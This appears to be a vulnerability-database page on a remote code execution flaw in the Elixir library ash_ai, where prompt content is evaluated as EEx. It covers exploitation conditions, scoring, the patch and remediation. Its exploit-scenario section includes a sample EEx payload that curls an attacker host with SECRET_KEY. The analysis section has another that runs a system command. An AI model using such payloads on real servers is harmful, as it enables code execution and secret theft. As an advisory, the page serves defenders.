Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend HTTP request to prompt action endpoint
-
DeliveryInject EEx payload in action argument
-
ExploitApplication assembles function-form prompt embedding attacker argument
-
ExecutionEEx.eval_string/2 compiles payload as Elixir source
-
ImpactArbitrary code executes on server under app process
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The target application must use ash_ai and define at least one Ash action with the function-form prompt configuration (prompt: fn input, context -> ... end) where the function returns prompt content built from user-supplied action arguments - for example, constructing a message list that embeds input.arguments.text directly as message content. An attacker requires only network access to the HTTP endpoint that processes this action; no authentication, session, or account is required. Exploitation is blocked if: (a) the application uses only statically configured EEx template prompts rather than function-form prompts, (b) the function-form prompt does not incorporate request arguments into the returned content, or (c) the endpoint is not network-reachable. The ash_ai version must be 0.1.0 or later but earlier than 1.0.0. |
| Impact | The vendor-assigned CVSS 4.0 score of 8.9 is directionally reasonable given the full-RCE outcome, but the provided vector contains a material discrepancy: AV:L (local attack vector) directly contradicts the description's explicit assertion of 'remote, unauthenticated client' exploitation - a network-reachable HTTP endpoint cannot carry a local attack vector, and this appears to be a scoring error. AT:P (attack target present) correctly captures the condition that the application must expose a prompt action incorporating user-supplied input, narrowing the exploitable population. EPSS at 0.38% (31st percentile) reflects ash_ai's niche footprint in the Elixir/Ash ecosystem and the absence of weaponized tooling; no CISA KEV listing and no public exploit code have been identified at time of analysis. However, EPSS should not drive prioritization here in isolation: the exploitation path requires no authentication, no special tooling, and no user interaction - a single HTTP request with an EEx payload is sufficient against any reachable vulnerable endpoint. SSVC signals reinforce urgency for exposed deployments: exploitation is not confirmed active, but is automatable, and technical impact is total (full server-side code execution). Organizations running ash_ai with function-form prompt actions that embed action arguments into prompt content should patch to 1.0.0 immediately; those using only statically configured templates are not exposed. |
| Exploit ScenarioDerived | An attacker sends a POST request to an Ash application endpoint backed by a prompt action - such as an AI-powered text analysis feature - embedding an EEx payload like <%= System.cmd("curl", ["attacker.com/exfil?h=" <> System.get_env("SECRET_KEY")]) %> in a request argument that the application incorporates into its function-form prompt. Before any AI model request is made, AshAi.Actions.Prompt evaluates the assembled prompt through EEx.eval_string/2, executing the injected Elixir code on the server under the application's OS user. No public exploit code exists, but the patch's own regression test (commit e9948254) demonstrates the exact payload format and confirms exploitability in the pre-patch codebase. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 31, 2026
Remote code execution in ash_ai (versions 0.1.0 through pre-1.0.0) allows unauthenticated network attackers to execute arbitrary Elixir code on the server by submitting EEx template payloads through prompt action arguments. The AshAi.Actions.Prompt module incorrectly passed function-supplied prompt content - which is frequently assembled from user-controlled action arguments - through EEx.eval_string/2 before forwarding to the AI model, meaning payloads like <%= System.cmd("id", []) %> execute server-side with application process privileges. No public exploit code or CISA KEV listing exists at time of analysis, but the zero-authentication, single-request exploitation path gives this a higher operational priority than the EPSS percentile alone suggests.
RemediationAI
Upgrade ash_ai to version 1.0.0 or later, which contains the fix at commit e9948254b5659c1143b73dc2f59f457931e64514; this is the only confirmed vendor-released patch. The patch ensures function-supplied prompt content is never evaluated through EEx.eval_string/2, eliminating the code injection path entirely with no loss of AI functionality. If an immediate upgrade is not possible, audit all defined prompt actions and remove any function-form prompts (prompt: fn input, context -> ... end) that embed raw action arguments into the returned prompt text; replace them with statically configured EEx templates that reference arguments only through safe assigns bindings, which remain evaluated at configuration time rather than per-request. The trade-off is reduced prompt-building flexibility. The patch commit and advisory are available at https://github.com/ash-project/ash_ai/commit/e9948254b5659c1143b73dc2f59f457931e64514 and https://github.com/ash-project/ash_ai/security/advisories/GHSA-2g59-hg7m-qc83 respectively.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected library is ash_ai (cpe:2.3:a:ash-project:ash_ai), an Elixir package that integrates AI model interactions into the Ash framework via prompt actions. The root cause is CWE-94 (Improper Control of Generation of Code): the AshAi.Actions.Prompt.normalize_to_context/3 function unconditionally passed all prompt content through EEx.eval_string/2, Elixir's Embedded Elixir templating engine, which compiles and evaluates its input as Elixir source code at runtime. Because the documented usage pattern for function-form prompts (prompt: fn input, context -> ... end) builds prompt text dynamically from action arguments, attacker-controlled request data reached EEx evaluation. The library's own pre-patch code included sobelow_skip ["RCE.EEx"] annotations acknowledging the danger of EEx evaluation, but those suppressions were misapplied to the dynamic function-path case. The fix in commit e9948254 introduces a maybe_eval_template/4 helper with an eex? boolean: function-supplied content is returned verbatim (eex?=false) while statically configured templates continue to be evaluated (eex?=true), closing the injection path.
Know when Ash Ai gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Network-reachable unauthenticated endpoint; exploitation trivial once vulnerable prompt action exists; full RCE yields scope change to OS level (S:C).
Primary rating from Vendor (EEF).
CVSS VectorVendor: EEF
Lifecycle Timeline
4DescriptionCVE.org
Improper Control of Generation of Code (Code Injection) vulnerability in ash-project ash_ai allows a remote, unauthenticated client to execute arbitrary Elixir code.
AshAi.Actions.Prompt evaluates prompt content through EEx.eval_string/2. The documented prompt: fn input, context -> ... end form lets the prompt content be built from action arguments, so when a prompt action's text incorporates request data, that attacker-controlled text is compiled and run as an EEx template (Elixir source). Content such as <%= System.cmd(...) %> therefore executes on the server before any model request is made, requiring no authentication beyond reaching a prompt action. The fix stops evaluating function-supplied prompt content as EEx; only statically configured templates are evaluated.
This issue affects ash_ai: from 0.1.0 before 1.0.0.
Technical POC Analysis
AshAi.Actions.Prompt compiles prompt text as an EEx template.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Ash_ai versions 0.1.0 through pre-1.0.0 contain a remote code execution vulnerability allowing unauthenticated attackers to execute arbitrary code on affected servers through a single network request. Any organization running these library versions faces immediate risk of complete server compromise. A vendor-released patch is available and deployment should be prioritized.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
DNS-rebinding protection in AshAi.Mcp.Server (ash_ai 0.8.0-0.x) is bypassable because the default origin check trusts th
Authorization bypass in AshAi (ash_ai) versions 0.6.0 through pre-1.0.0 allows any authenticated tool caller to update o
Credential leakage in ash_ai (versions 0.1.0 through before 1.0.0) exposes embedding provider API keys and request inter
Infinite-loop denial-of-service in ash_ai's ToolLoop component (versions 0.6.0 through <1.0.0) allows an attacker who ca
Field policy bypass in ash_ai (versions 0.1.0 through < 1.0.3) allows authenticated, low-privilege actors to read per-ac
Unfiltered exception serialization in ash_ai 0.6.0-0.x leaks internal application details - database schema, raw SQL fra
EUVD-2026-68303
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB